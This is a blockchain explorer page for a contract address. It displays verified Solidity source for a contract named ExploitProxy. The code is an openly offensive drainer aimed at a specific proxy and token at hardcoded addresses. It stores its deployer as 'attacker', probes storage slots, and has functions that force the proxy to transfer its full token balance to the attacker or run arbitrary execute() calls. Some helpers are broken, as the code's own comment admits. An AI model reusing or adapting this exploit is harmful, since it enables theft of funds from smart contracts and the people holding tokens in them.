Address
0x5ddf73bbf3b14fadeb04761b98ccfdd49cc249dcCurrent Holdings
$0.00
TXs sent
not counted
First Active
2026-06-07
block 26,728,817
Last Active
101 days ago
block 26,728,844
Funded By
not identified
Net worth historyi
No net-worth snapshots recorded yet
exact matchExploitProxysolc 0.8.26+commit.8a97fa7aruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IPRC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract ExploitProxy {
// Your deployed clone (the proxy CA)
address public proxy = 0x193822ca5fAd42Ca930098B398f2d689A40Cf839;
address public token = 0xefD766cCb38EaF1dfd701853BFCe31359239F305;
address public attacker; // set in constructor
constructor() {
attacker = msg.sender;
}
// -------------------------------------------------------
// DIAGNOSTIC: try common owner() slot reads directly
// If owner is stored at slot 0 (common pattern)
function readOwnerSlot0() external view returns (bytes32) {
return _readSlot(proxy, 0);
}
// OpenZeppelin Ownable: owner at slot 0
// OZ upgradeable: owner at EIP-1967 admin slot
function readEIP1967AdminSlot() external view returns (address) {
// keccak256("eip1967.proxy.admin") - 1
bytes32 slot = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
return address(uint160(uint256(_readSlot(proxy, uint256(slot)))));
}
function _readSlot(address target, uint256 slot) internal view returns (bytes32 val) {
assembly {
val := sload(add(target, 0)) // won't work cross-contract
}
}
// -------------------------------------------------------
// DRAIN: since initialize() passed with this contract as
// the argument, try calling transfer directly on the proxy
// using the PRC20 interface — proxy delegatecalls to impl
// which may handle ERC20 transfer if it IS the token logic
function drainViaDirectCall() external {
uint256 bal = IPRC20(token).balanceOf(proxy);
require(bal > 0, "No balance at proxy");
// The proxy holds tokens, so we call transfer ON the TOKEN
// contract telling it to move funds — but we need approval
// OR the proxy itself must call transfer
// Force the proxy to call token.transfer via low-level call:
bytes memory data = abi.encodeWithSignature(
"transfer(address,uint256)",
attacker,
bal
);
(bool ok, bytes memory ret) = proxy.call(data);
require(ok, string(ret));
}
// -------------------------------------------------------
// ALTERNATIVE: if the impl is itself a wallet/vault,
// try calling execute() or withdrawToken() patterns
function tryExecute(address to, bytes calldata data) external {
(bool ok, bytes memory ret) = proxy.call(
abi.encodeWithSignature("execute(address,uint256,bytes)", to, 0, data)
);
require(ok, string(ret));
}
// Generic: try arbitrary call on the proxy, inspect return
function probeSelector(bytes4 sel) external returns (bool, bytes memory) {
return proxy.call(abi.encodePacked(sel));
}
// -------------------------------------------------------
// READ: token balance at the proxy address
function proxyTokenBalance() external view returns (uint256) {
return IPRC20(token).balanceOf(proxy);
}
}